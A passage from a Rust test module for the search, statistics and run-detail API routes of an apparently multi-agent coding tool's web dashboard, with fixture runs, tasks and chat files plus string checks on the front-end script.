11406                .map(|p| p.text.chars().count())
11407                .sum()
11408        };
11409        let total =
11410            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11411
11412        let long = "a".repeat(120);
11413        let parts = snippet_of(&long, std::slice::from_ref(&long));
11414        assert!(hit_len(&parts) > 0, "{parts:?}");
11415        assert!(total(&parts) <= cap);
11416
11417        let ja = "あ".repeat(130);
11418        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11419        assert!(hit_len(&parts) > 0, "{parts:?}");
11420        assert!(total(&parts) <= cap);
11421
11422        // A short hit, then one straddling the window's end.
11423        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11424        let term = format!("ab{}", "c".repeat(100));
11425        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11426        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11427        assert!(total(&parts) <= cap);
11428
11429        // Only the head matches: not highlighted.
11430        let text = format!("{}z", "a".repeat(119));
11431        let parts = snippet_of(&text, &["a".repeat(120)]);
11432        assert_eq!(hit_len(&parts), 0, "{parts:?}");
11433    }
11434
11435    #[tokio::test]
11436    async fn search_caps_hits_and_snippet_length() {
11437        let f = Fixture::start().await;
11438        let runs = f.runs();
11439        for n in 0..(SEARCH_MAX_HITS + 5) {
11440            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11441        }
11442        let v = f.get("/api/search?scope=runs&q=web").await.json();
11443        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11444        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11445        assert_eq!(v["truncated"], true);
11446        // Every listed run hit carries its list row for the page's filters.
11447        assert!(
11448            v["hits"]
11449                .as_array()
11450                .unwrap()
11451                .iter()
11452                .all(|h| h["run"]["status"] == "merged")
11453        );
11454
11455        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11456        let parts = snippet_of(&long, &["needle".to_owned()]);
11457        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11458        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11459        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11460    }
11461
11462    #[tokio::test]
11463    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11464        let f = Fixture::start().await;
11465        let queue = f.queue();
11466        let mut t = Task::new(
11467            "short title".to_owned(),
11468            "line one\nthe hidden Armadillo detail".to_owned(),
11469            PathBuf::from("/repo/magi"),
11470            Source::Agent {
11471                run: "r1".to_owned(),
11472                node: "chat".to_owned(),
11473            },
11474        );
11475        t.last_error = Some("disk full on /tmp".to_owned());
11476        queue.put(&mut t).expect("file the task");
11477
11478        for (q, want) in [
11479            ("armadillo", 1),
11480            ("disk%20FULL", 1),
11481            ("chat", 1),
11482            ("queued", 1),
11483            ("short%20nothing", 0),
11484        ] {
11485            let v = f
11486                .get(&format!("/api/search?scope=tasks&q={q}"))
11487                .await
11488                .json();
11489            assert_eq!(v["total"], want, "{q}: {v}");
11490        }
11491        for bad in [
11492            "/api/search?scope=tasks&q=",
11493            "/api/search?scope=tasks&q=%20",
11494            "/api/search?scope=chats&q=",
11495            "/api/search?scope=chats&q=%20",
11496            "/api/search?scope=nope&q=a",
11497            "/api/search?q=a",
11498        ] {
11499            assert_eq!(f.get(bad).await.status, 400, "{bad}");
11500        }
11501    }
11502
11503    /// Write one conversation file the way the store reads it back.
11504    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11505        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11506            .expect("seat value");
11507        let turns: Vec<serde_json::Value> = turns
11508            .iter()
11509            .map(|(who, body)| {
11510                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11511            })
11512            .collect();
11513        let doc = serde_json::json!({
11514            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11515            "status": status, "turns": turns,
11516            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11517            "seat": seat,
11518        });
11519        let dir = f.home.path().join("talks");
11520        std::fs::create_dir_all(&dir).expect("talks dir");
11521        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11522    }
11523
11524    #[tokio::test]
11525    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11526        let f = Fixture::start().await;
11527        write_talk(
11528            &f,
11529            "20260901-000001-aaaa",
11530            "open",
11531            &[
11532                (
11533                    "operator",
11534                    "\n  Why does the Pangolin cache expire?\nsecond line",
11535                ),
11536                ("agent", "Because the TTL is thirty seconds."),
11537            ],
11538        );
11539        write_talk(
11540            &f,
11541            "20260901-000002-bbbb",
11542            "closed",
11543            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11544        );
11545        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11546
11547        let search = |q: &'static str| {
11548            let f = &f;
11549            async move {
11550                f.get(&format!("/api/search?scope=chats&q={q}"))
11551                    .await
11552                    .json()
11553            }
11554        };
11555
11556        let v = search("PANGOLIN").await;
11557        assert_eq!(v["scope"], "chats");
11558        assert_eq!(v["total"], 1, "{v}");
11559        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11560        assert_eq!(v["hits"][0]["field"], "title");
11561        assert_eq!(v["unreadable"], 1, "{v}");
11562        let marked: Vec<&str> = v["hits"][0]["snippet"]
11563            .as_array()
11564            .unwrap()
11565            .iter()
11566            .filter(|p| p["hit"] == true)
11567            .map(|p| p["text"].as_str().unwrap())
11568            .collect();
11569        assert_eq!(marked, ["Pangolin"]);
11570
11571        // An agent turn, in a closed conversation.
11572        let v = search("zebra").await;
11573        assert_eq!(v["total"], 1, "{v}");
11574        assert_eq!(v["hits"][0]["field"], "agent");
11575        // Words may sit in different turns; all must be present.
11576        assert_eq!(search("pangolin%20thirty").await["total"], 1);
11577        assert_eq!(search("pangolin%20zebra").await["total"], 0);
11578        // Bookkeeping is not searched.
11579        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11580            assert_eq!(search(q).await["total"], 0, "{q}");
11581        }
11582        // The first line only is the title; the second line is still a turn.
11583        assert_eq!(search("second").await["hits"][0]["field"], "operator");
11584        // Open conversations are listed before closed ones.
11585        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11586
11587        let v = f.get("/api/search?scope=nope&q=a").await;
11588        assert_eq!(v.status, 400);
11589        assert!(
11590            v.body.contains("scope must be runs, tasks or chats"),
11591            "{}",
11592            v.body
11593        );
11594    }
11595
11596    #[test]
11597    fn a_question_card_links_a_task_id_to_the_task_page() {
11598        let start = APP_JS
11599            .find("function updateAskCard(")
11600            .expect("updateAskCard exists");
11601        let body = &APP_JS[start..];
11602        let body = &body[..body.find("\n}\n").expect("function end")];
11603        assert!(body.contains("question.run_is_task"));
11604        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11605        assert!(body.contains("`#/runs/${question.run}`"));
11606        assert!(body.contains("\"task\" : \"run\""));
11607    }
11608
11609    #[test]
11610    fn plain_text_message_surfaces_go_through_linkify() {
11611        assert!(APP_JS.contains("function linkify("));
11612        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11613        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11614        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11615        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11616        assert!(!APP_JS.contains("innerHTML = text"));
11617    }
11618
11619    #[test]
11620    fn stats_bars_share_one_id_keyed_plan() {
11621        let start = APP_JS
11622            .find("function statsBarRows(")
11623            .expect("statsBarRows exists");
11624        let body = &APP_JS[start..];
11625        let body = &body[..body.find("\n}\n").expect("function end")];
11626        assert!(body.contains("statsBarPlan(rows)"));
11627        assert!(body.contains("statsAgentTone(row.agent)"));
11628        assert!(!body.contains("candTone(i)"));
11629        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11630        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11631            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11632        }
11633    }
11634
11635    #[test]
11636    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11637        let start = APP_JS
11638            .find("function renderStatsReviewerScatter(")
11639            .expect("renderStatsReviewerScatter exists");
11640        let body = &APP_JS[start..];
11641        let body = &body[..body.find("\n}\n").expect("function end")];
11642        assert!(body.contains("statsScatterPlan(reviewers)"));
11643        assert!(body.contains("statsAgentTone(d.agent)"));
11644        assert!(APP_JS.contains("function statsScatterPlan("));
11645        assert!(
11646            APP_JS.contains("d.submitted < STATS_LOW_N")
11647                || APP_JS.contains("r.submitted < STATS_LOW_N")
11648        );
11649        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11650        assert!(APP_CSS.contains(".precision-scatter"));
11651    }
11652
11653    #[test]
11654    fn advisor_reflection_is_drawn_as_stacked_segments() {
11655        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11656        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11657        let html = include_str!("../assets/ui/index.html");
11658        assert!(html.contains("Approximate"));
11659        for label in ["reflected strongly", "faint", "no proposal"] {
11660            assert!(html.contains(label));
11661        }
11662        let css = include_str!("../assets/ui/app.css");
11663        for c in ["refl-strong", "refl-faint", "refl-absent"] {
11664            assert!(css.contains(&format!(".{c} {{")));
11665        }
11666    }
11667
11668    #[test]
11669    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11670        assert!(APP_JS.contains("function statsDailyPlan("));
11671        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11672        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11673    }
11674
11675    #[test]
11676    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11677        let start = APP_JS
11678            .find("function scheduleSearch(")
11679            .expect("scheduleSearch exists");
11680        let body = &APP_JS[start..];
11681        let body = &body[..body.find("\n}\n").expect("function end")];
11682        assert!(body.contains("s.seq += 1"));
11683    }
11684
11685    /// The dashboard reads every run's state itself rather than trusting a
11686    /// separately-maintained count, so an unreadable run must be counted the
11687    /// same way `/api/health` counts it - never silently dropped the way the
11688    /// CLI's own `stats::load_all` drops it.
11689    #[tokio::test]
11690    async fn stats_runs_unreadable_matches_health() {
11691        let f = Fixture::start().await;
11692        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11693        let broken = f.runs().join("20260902-140502-bad");
11694        std::fs::create_dir_all(&broken).expect("run dir");
11695        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11696
11697        let stats = f.get("/api/stats").await;
11698        let health = f.get("/api/health").await;
11699
11700        assert_eq!(stats.status, 200);
11701        assert_eq!(stats.json()["totals"]["runs"], 1);
11702        assert_eq!(stats.json()["runs_unreadable"], 1);
11703        assert_eq!(
11704            stats.json()["runs_unreadable"],
11705            health.json()["runs_unreadable"],
11706            "the dashboard and /api/health must never disagree about how many \
11707             runs could not be read"
11708        );
11709    }
11710
11711    #[tokio::test]
11712    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11713        let f = Fixture::start().await;
11714        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11715        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11716        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11717
11718        let totals = &f.get("/api/stats").await.json()["totals"];
11719        assert_eq!(totals["runs"], 3);
11720        assert_eq!(totals["merged"], 1);
11721        assert_eq!(totals["stalled"], 1);
11722        assert_eq!(totals["in_progress"], 1);
11723        // A stalled run must never read as blocked/merged/ready - it is its
11724        // own bucket, not folded into a "decided" one.
11725        assert_eq!(totals["blocked"], 0);
11726        assert_eq!(totals["ready"], 0);
11727    }
11728
11729    #[tokio::test]
11730    async fn stats_advisors_report_proposals_and_reflection() {
11731        use crate::advise::{Advice, AdvisorRecord, Reflection};
11732        use crate::verdict::Proposal;
11733
11734        let f = Fixture::start().await;
11735        let mut state = RunState::new(
11736            PathBuf::from("/repo/magi"),
11737            "main".to_owned(),
11738            "0123456789abcdef".to_owned(),
11739            "task".to_owned(),
11740            Config::default(),
11741        );
11742        state.id = "20260902-140501-a".to_owned();
11743        state.status = RunStatus::Merged;
11744        state.advice = Some(Advice {
11745            records: vec![
11746                AdvisorRecord {
11747                    seat: "advisor-1".to_owned(),
11748                    agent: "alpha".to_owned(),
11749                    proposal: Some(Proposal {
11750                        approach: "do it".to_owned(),
11751                        key_tradeoff: "speed over memory".to_owned(),
11752                        risks: Vec::new(),
11753                        touches: Vec::new(),
11754                        why_not_naive: "breaks under load".to_owned(),
11755                    }),
11756                    error: None,
11757                    duration_ms: 0,
11758                    reflection: Reflection::Strong,
11759                },
11760                AdvisorRecord {
11761                    seat: "advisor-2".to_owned(),
11762                    agent: "alpha".to_owned(),
11763                    proposal: None,
11764                    error: Some("timed out".to_owned()),
11765                    duration_ms: 0,
11766                    reflection: Reflection::Absent,
11767                },
11768            ],
11769            synthesis: Some("blended brief".to_owned()),
11770        });
11771        let dir = f.runs().join(&state.id);
11772        std::fs::create_dir_all(&dir).expect("run dir");
11773        std::fs::write(
11774            dir.join("run.json"),
11775            serde_json::to_string_pretty(&state).expect("serialize run"),
11776        )
11777        .expect("write run.json");
11778
11779        // `alpha` is in no roster here; this test is about the rates.
11780        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11781        let alpha = advisors
11782            .as_array()
11783            .expect("an array")
11784            .iter()
11785            .find(|a| a["agent"] == "alpha")
11786            .expect("alpha row");
11787        assert_eq!(alpha["seated"], 2);
11788        assert_eq!(alpha["proposed"], 1);
11789        assert_eq!(alpha["absent"], 1);
11790        assert_eq!(alpha["strong"], 1);
11791        assert_eq!(alpha["faint"], 0);
11792        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11793    }
11794
11795    #[tokio::test]
11796    async fn stats_hides_agents_outside_the_roster_unless_all() {
11797        use crate::run::Candidate;
11798        let repo = TempDir::new().expect("repo dir");
11799        std::fs::write(
11800            repo.path().join("magi.toml"),
11801            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11802        )
11803        .expect("magi.toml");
11804        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11805        let mut state = RunState::new(
11806            PathBuf::from("/repo/magi"),
11807            "main".to_owned(),
11808            "0123456789abcdef".to_owned(),
11809            "task".to_owned(),
11810            Config::default(),
11811        );
11812        state.id = "20260902-140501-a".to_owned();
11813        state.status = RunStatus::Merged;
11814        for (label, agent) in [('A', "keep"), ('B', "retired")] {
11815            let mut c: Candidate = serde_json::from_value(serde_json::json!({
11816                "index": 0, "label": label.to_string(), "agent": agent,
11817                "branch": "b", "worktree": "/w",
11818            }))
11819            .expect("candidate");
11820            c.label = label;
11821            state.candidates.push(c);
11822        }
11823        let dir = f.runs().join(&state.id);
11824        std::fs::create_dir_all(&dir).expect("run dir");
11825        std::fs::write(
11826            dir.join("run.json"),
11827            serde_json::to_string_pretty(&state).expect("serialize run"),
11828        )
11829        .expect("write run.json");
11830
11831        let agents_of = |v: &serde_json::Value| -> Vec<String> {
11832            v["agents"]
11833                .as_array()
11834                .expect("array")
11835                .iter()
11836                .map(|a| a["agent"].as_str().unwrap().to_owned())
11837                .collect()
11838        };
11839        let hidden = f.get("/api/stats").await.json();
11840        assert_eq!(agents_of(&hidden), ["keep"]);
11841        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11842        assert_eq!(hidden["totals"]["runs"], 1);
11843
11844        let all = f.get("/api/stats?all=true").await.json();
11845        assert_eq!(agents_of(&all).len(), 2);
11846        assert_eq!(all["retired_hidden"], serde_json::json!([]));
11847    }
11848
11849    #[tokio::test]
11850    async fn stats_release_bumps_split_clean_from_attention() {
11851        use crate::run::ReleaseBump;
11852
11853        let f = Fixture::start().await;
11854
11855        let mut clean = RunState::new(
11856            PathBuf::from("/repo/magi"),
11857            "main".to_owned(),
11858            "0123456789abcdef".to_owned(),
11859            "task".to_owned(),
11860            Config::default(),
11861        );
11862        clean.id = "20260902-140501-a".to_owned();
11863        clean.status = RunStatus::Merged;
11864        clean.release_bump = Some(ReleaseBump {
11865            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11866            version: Some("1.0.0".to_owned()),
11867            automerge_enabled: true,
11868            merged_directly: false,
11869            local: false,
11870            release: None,
11871            problem: None,
11872            action_required: None,
11873        });
11874
11875        let mut blocked = RunState::new(
11876            PathBuf::from("/repo/magi"),
11877            "main".to_owned(),
11878            "0123456789abcdef".to_owned(),
11879            "task".to_owned(),
11880            Config::default(),
11881        );
11882        blocked.id = "20260902-140502-b".to_owned();
11883        blocked.status = RunStatus::Merged;
11884        blocked.release_bump = Some(ReleaseBump {
11885            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11886            version: Some("1.0.1".to_owned()),
11887            automerge_enabled: false,
11888            merged_directly: false,
11889            local: false,
11890            release: None,
11891            problem: Some("checks red".to_owned()),
11892            action_required: Some("look at the PR".to_owned()),
11893        });
11894
11895        for state in [&clean, &blocked] {
11896            let dir = f.runs().join(&state.id);
11897            std::fs::create_dir_all(&dir).expect("run dir");
11898            std::fs::write(
11899                dir.join("run.json"),
11900                serde_json::to_string_pretty(state).expect("serialize run"),
11901            )
11902            .expect("write run.json");
11903        }
11904
11905        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11906        assert_eq!(bumps["merged"], 2);
11907        assert_eq!(bumps["recorded"], 2);
11908        assert_eq!(bumps["pr_opened"], 2);
11909        assert_eq!(bumps["automerge_enabled"], 1);
11910        assert_eq!(bumps["needs_attention"], 1);
11911        assert_eq!(bumps["clean"], 1);
11912        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11913        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11914    }
11915
11916    #[tokio::test]
11917    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11918        let f = Fixture::start().await;
11919        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11920
11921        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11922        assert_eq!(bumps["merged"], 1);
11923        assert_eq!(bumps["recorded"], 0);
11924        // `merged` is nonzero, so coverage still reads as a real 0%, not an
11925        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
11926        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11927        // `pr_opened` and `recorded` are both zero here, so these rates have
11928        // no denominator to compute from and must be null.
11929        assert_eq!(bumps["automerge_rate"], Value::Null);
11930        assert_eq!(bumps["attention_rate"], Value::Null);
11931    }
11932
11933    #[tokio::test]
11934    async fn stats_queue_counts_come_from_the_live_queue() {
11935        let f = Fixture::start().await;
11936        let q = f.queue();
11937        let mut queued = Task::new(
11938            "queued task".to_owned(),
11939            "do it".to_owned(),
11940            PathBuf::from("/repo"),
11941            Source::Human,
11942        );
11943        q.put(&mut queued).expect("put queued");
11944        let mut held = Task::new(
11945            "held task".to_owned(),
11946            "do it later".to_owned(),
11947            PathBuf::from("/repo"),
11948            Source::Human,
11949        );
11950        held.hold_machine(Some("out of attempts".to_owned()));
11951        q.put(&mut held).expect("put held");
11952
11953        let queue = f.get("/api/stats").await.json()["queue"].clone();
11954        assert_eq!(queue["queued"], 1);
11955        assert_eq!(queue["held"], 1);
11956        assert_eq!(queue["running"], 0);
11957        assert_eq!(queue["done"], 0);
11958        assert_eq!(queue["failed"], 0);
11959        assert_eq!(queue["blocked"], 0);
11960    }
11961
11962    #[tokio::test]
11963    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11964        let f = Fixture::start().await;
11965        let stats = f.get("/api/stats").await;
11966        assert_eq!(stats.status, 200);
11967        assert_eq!(stats.json()["totals"]["runs"], 0);
11968        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11969        assert_eq!(stats.json()["runs_unreadable"], 0);
11970        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11971        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11972        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11973        assert_eq!(stats.json()["repo"], Value::Null);
11974    }
11975
11976    #[tokio::test]
11977    async fn stats_lists_every_repository_with_runs_recorded() {
11978        let f = Fixture::start().await;
11979        write_run_repo(
11980            &f.runs(),
11981            "20260902-140501-a",
11982            RunStatus::Merged,
11983            "/repos/a",
11984        );
11985        write_run_repo(
11986            &f.runs(),
11987            "20260902-140502-b",
11988            RunStatus::Merged,
11989            "/repos/a",
11990        );
11991        write_run_repo(
11992            &f.runs(),
11993            "20260902-140503-c",
11994            RunStatus::Blocked,
11995            "/repos/b",
11996        );
11997
11998        let stats = f.get("/api/stats").await;
11999        assert_eq!(stats.status, 200);
12000        // Unfiltered - the aggregate across both repositories.
12001        assert_eq!(stats.json()["totals"]["runs"], 3);
12002        assert_eq!(stats.json()["repo"], Value::Null);
12003
12004        let repos = stats.json()["repos"].clone();
12005        let repos = repos.as_array().unwrap();
12006        assert_eq!(repos.len(), 2);
12007        // Busiest (2 runs) first.
12008        assert_eq!(repos[0]["repo"], "/repos/a");
12009        assert_eq!(repos[0]["name"], "a");
12010        assert_eq!(repos[0]["runs"], 2);
12011        assert_eq!(repos[1]["repo"], "/repos/b");
12012        assert_eq!(repos[1]["runs"], 1);
12013    }
12014
12015    #[tokio::test]
12016    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12017        let f = Fixture::start().await;
12018        write_run_repo(
12019            &f.runs(),
12020            "20260902-140501-a",
12021            RunStatus::Merged,
12022            "/repos/a",
12023        );
12024        write_run_repo(
12025            &f.runs(),
12026            "20260902-140502-b",
12027            RunStatus::Blocked,
12028            "/repos/b",
12029        );
12030
12031        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12032        assert_eq!(stats.status, 200);
12033        assert_eq!(stats.json()["totals"]["runs"], 1);
12034        assert_eq!(stats.json()["totals"]["merged"], 1);
12035        assert_eq!(stats.json()["repo"], "/repos/a");
12036        // The repository list itself is unaffected by the filter - it is
12037        // what a client switches repositories from.
12038        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12039        // runs_unreadable is a whole-workload count, never scoped to the
12040        // selected repository - see StatsView::runs_unreadable's own doc.
12041        assert_eq!(stats.json()["runs_unreadable"], 0);
12042    }
12043
12044    #[tokio::test]
12045    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12046        let f = Fixture::start().await;
12047        write_run_repo(
12048            &f.runs(),
12049            "20260902-140501-a",
12050            RunStatus::Merged,
12051            "/repos/a",
12052        );
12053        write_run_repo(
12054            &f.runs(),
12055            "20260902-140502-b",
12056            RunStatus::Merged,
12057            "/repos/b",
12058        );
12059
12060        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12061            let json = f.get(uri).await.json();
12062            let daily = json["daily"].as_array().expect("daily is an array");
12063            assert_eq!(daily.len(), 30);
12064            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12065            let mut sorted = dates.clone();
12066            sorted.sort();
12067            assert_eq!(dates, sorted);
12068            for d in daily {
12069                assert_eq!(
12070                    d["merged"].as_u64().unwrap()
12071                        + d["ready"].as_u64().unwrap()
12072                        + d["other"].as_u64().unwrap(),
12073                    d["runs"].as_u64().unwrap()
12074                );
12075            }
12076            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12077        }
12078    }
12079
12080    #[tokio::test]
12081    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12082        let f = Fixture::start().await;
12083        write_run_repo(
12084            &f.runs(),
12085            "20260902-140501-a",
12086            RunStatus::Merged,
12087            "/repos/a",
12088        );
12089
12090        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12091        assert_eq!(stats.status, 404);
12092    }
12093
12094    #[tokio::test]
12095    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12096        let f = Fixture::start().await;
12097        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12098
12099        let summary = f.get("/api/runs").await.json();
12100        let row = &summary[0];
12101        assert_eq!(row["short"], "a1b2");
12102        assert_eq!(row["status"], "ready");
12103        assert_eq!(row["done"], true);
12104        assert_eq!(row["title"], "Add a web UI");
12105        assert_eq!(row["repo_name"], "magi");
12106        assert_eq!(row["judges"], 3);
12107        assert_eq!(row["winner"], Value::Null);
12108        assert_eq!(row["reviews"], 0);
12109
12110        // The short id resolves, and the detail route is the state itself, not
12111        // a projection of it: the UI reads fields the summary does not carry.
12112        let detail = f.get("/api/runs/a1b2").await;
12113        assert_eq!(detail.status, 200);
12114        assert_eq!(detail.json()["base_branch"], "main");
12115        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12116    }
12117
12118    /// `status: "ready"` alone cannot tell a run still headed for a landing
12119    /// (a PR closed without merging, say) apart from one `[merge] mode =
12120    /// "none"` left unmerged for good — the confusion the operator flagged
12121    /// after the CLI report already grew a `not landed — nothing to do by
12122    /// design` line for exactly this case (`report.rs`). Both the list route
12123    /// and the detail route must carry a flag the phone can key on instead of
12124    /// re-deriving it from `status` + `merge.mode` itself.
12125    #[tokio::test]
12126    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12127        let f = Fixture::start().await;
12128
12129        let mut none_run = RunState::new(
12130            PathBuf::from("/repo/magi"),
12131            "main".to_owned(),
12132            "0123456789abcdef".to_owned(),
12133            "Add a web UI".to_owned(),
12134            Config::default(),
12135        );
12136        none_run.id = "20260902-140503-none".to_owned();
12137        none_run.status = RunStatus::Ready;
12138        none_run.merge = Some(crate::run::MergeOutcome {
12139            mode: crate::config::MergeMode::None,
12140            ok: true,
12141            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12142            empty: false,
12143        });
12144        write_state(&f.runs(), &none_run);
12145
12146        let mut pr_run = RunState::new(
12147            PathBuf::from("/repo/magi"),
12148            "main".to_owned(),
12149            "0123456789abcdef".to_owned(),
12150            "Add a web UI".to_owned(),
12151            Config::default(),
12152        );
12153        pr_run.id = "20260902-140504-prcl".to_owned();
12154        pr_run.status = RunStatus::Ready;
12155        pr_run.merge = Some(crate::run::MergeOutcome {
12156            mode: crate::config::MergeMode::Pr,
12157            ok: false,
12158            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12159            empty: false,
12160        });
12161        write_state(&f.runs(), &pr_run);
12162
12163        let summary = f.get("/api/runs").await.json();
12164        let rows: std::collections::HashMap<&str, &Value> = summary
12165            .as_array()
12166            .expect("an array")
12167            .iter()
12168            .map(|r| (r["id"].as_str().expect("an id"), r))
12169            .collect();
12170        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12171        assert_eq!(
12172            rows[none_run.id.as_str()]["unmerged_by_design"],
12173            true,
12174            "a mode-none Ready must be flagged in the list"
12175        );
12176        assert_eq!(
12177            rows[pr_run.id.as_str()]["unmerged_by_design"],
12178            false,
12179            "a Ready reached by a closed pull request is a different case"
12180        );
12181
12182        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12183        assert_eq!(none_detail["status"], "ready");
12184        assert_eq!(none_detail["unmerged_by_design"], true);
12185
12186        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12187        assert_eq!(pr_detail["unmerged_by_design"], false);
12188    }
12189
12190    /// `RunState::active` is only ever cleared by whoever populated it, so the
12191    /// detail route also has to say whether a daemon is actually still
12192    /// driving this run right now — otherwise a seat from a killed process's
12193    /// last wave would read as live forever.
12194    #[tokio::test]
12195    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12196        let f = Fixture::start().await;
12197        // Matches `write_daemon`'s hard-coded `current.run`, so the second
12198        // half of this test can claim the daemon is working on it without a
12199        // second helper.
12200        let id = "20260902-140502-bbbb";
12201        let mut state = RunState::new(
12202            PathBuf::from("/repo/magi"),
12203            "main".to_owned(),
12204            "0123456789abcdef".to_owned(),
12205            "Add a web UI".to_owned(),
12206            Config::default(),
12207        );
12208        state.id = id.to_owned();
12209        state.status = RunStatus::Judging;
12210        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12211        let dir = f.runs().join(id);
12212        std::fs::create_dir_all(&dir).expect("run dir");
12213        std::fs::write(
12214            dir.join("run.json"),
12215            serde_json::to_string_pretty(&state).expect("serialize run"),
12216        )
12217        .expect("write run.json");
12218
12219        // No daemon.json at all, and no `driver_pid` recorded either (this
12220        // state was written directly, never through `execute()`): there is
12221        // nothing to confirm either way, so the route must say `"unknown"` —
12222        // never `"dead"`, which is exactly the false diagnosis a manual `magi
12223        // run` used to get from this route before `driver_pid` existed.
12224        let cold = f.get(&format!("/api/runs/{id}")).await.json();
12225        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12226        assert_eq!(cold["live"], "unknown", "{cold}");
12227
12228        // A fresh heartbeat naming exactly this run: the same entry now reads
12229        // as confirmed, not merely recorded.
12230        write_daemon(f.home.path(), Timestamp::now());
12231        let warm = f.get(&format!("/api/runs/{id}")).await.json();
12232        assert_eq!(warm["live"], "live", "{warm}");
12233    }
12234
12235    /// Where a run came from is shown, and a run written before origins were
12236    /// recorded (schema 12, no `origin` key) stays readable and says so.
12237    #[tokio::test]
12238    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12239        let f = Fixture::start().await;
12240        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12241            let mut state = RunState::new(
12242                PathBuf::from("/repo/magi"),
12243                "main".to_owned(),
12244                "0123456789abcdef".to_owned(),
